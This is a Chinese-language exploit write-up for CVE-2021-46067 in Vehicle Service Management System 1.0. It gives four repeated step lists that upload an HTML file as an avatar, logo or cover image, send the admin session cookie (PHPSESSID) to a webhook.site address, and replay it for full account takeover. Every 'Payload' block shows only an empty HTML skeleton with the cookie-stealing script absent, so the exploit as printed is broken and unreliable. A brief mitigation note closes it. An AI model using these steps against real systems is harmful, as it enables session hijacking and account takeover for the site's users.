CVE-2021-46067
Exploit 标题:车辆服务管理系统 - 多个 Cookie 窃取导致完全账户接管
CVE:CVE-2021-46067
CVSS:9.8 严重
参考资料:
描述:
在 Vehicle Service Management System 1.0 中,攻击者可以窃取 Cookie,从而导致完全账户接管。
1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至我的账户部分 http://localhost/vehicle_service/admin/?page=user
- 生成 Webhook 地址 - https://webhook.site
- 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 将上述 HTML 代码保存,例如:Cookie Stealing.html
- 在我的账户部分,填写所有必要信息,并在头像(Avatar)中浏览该 HTML 文件。
- 点击更新按钮。
- 在新标签页中打开头像图片,并检查 Webhook 状态。
- 我们收到了请求,其中包含 PHPSESSID。
- 复制 PHPSESSID 值,并打开另一个浏览器。
- 访问管理面板 http://localhost/vehicle_service/admin
- 检查 Cookie 值,并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
- 现在访问管理面板 http://localhost/vehicle_service/admin
- 成功登录账户。账户接管成功。
2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至用户列表部分,并点击创建新用户按钮。
- 生成 Webhook 地址 - https://webhook.site
- 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 将上述 HTML 代码保存,例如:Cookie Stealing.html
- 在创建新用户部分,填写所有必要信息,并在头像(Avatar)中浏览该 HTML 文件。
- 点击保存按钮。
- 在新标签页中打开头像图片,并检查 Webhook 状态。
- 我们收到了请求,其中包含 PHPSESSID。
- 复制 PHPSESSID 值,并打开另一个浏览器。
- 访问管理面板 http://localhost/vehicle_service/admin
- 检查 Cookie 值,并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
- 现在访问管理面板 http://localhost/vehicle_service/admin
- 成功登录账户。账户接管成功。
3. 车辆服务管理系统 - '设置 - 系统Logo' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
- 生成 Webhook 地址 - https://webhook.site
- 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 将上述 HTML 代码保存,例如:Cookie Stealing.html
- 在设置部分,填写所有必要信息,并在系统Logo(System Logo)中浏览该 HTML 文件。
- 点击更新按钮。
- 在新标签页中打开系统Logo图片,并检查 Webhook 状态。
- 我们收到了请求,其中包含 PHPSESSID。
- 复制 PHPSESSID 值,并打开另一个浏览器。
- 访问管理面板 http://localhost/vehicle_service/admin
- 检查 Cookie 值,并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
- 现在访问管理面板 http://localhost/vehicle_service/admin
- 成功登录账户。账户接管成功。
4. 车辆服务管理系统 - '设置 - 网站封面' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
- 生成 Webhook 地址 - https://webhook.site
- 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 将上述 HTML 代码保存,例如:Cookie Stealing.html
- 在设置部分,填写所有必要信息,并在网站封面(Website Cover)中浏览该 HTML 文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片,并检查 Webhook 状态。
- 我们收到了请求,其中包含 PHPSESSID。
- 复制 PHPSESSID 值,并打开另一个浏览器。
- 访问管理面板 http://localhost/vehicle_service/admin
- 检查 Cookie 值,并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
- 现在访问管理面板 http://localhost/vehicle_service/admin
- 成功登录账户。账户接管成功。
影响:
攻击者上传恶意 HTML 文件,该文件重定向到第三方网站,Cookie 在请求中暴露。这导致完全账户接管。
缓解措施:
建议验证文件上传功能,并在会话中执行二次检查。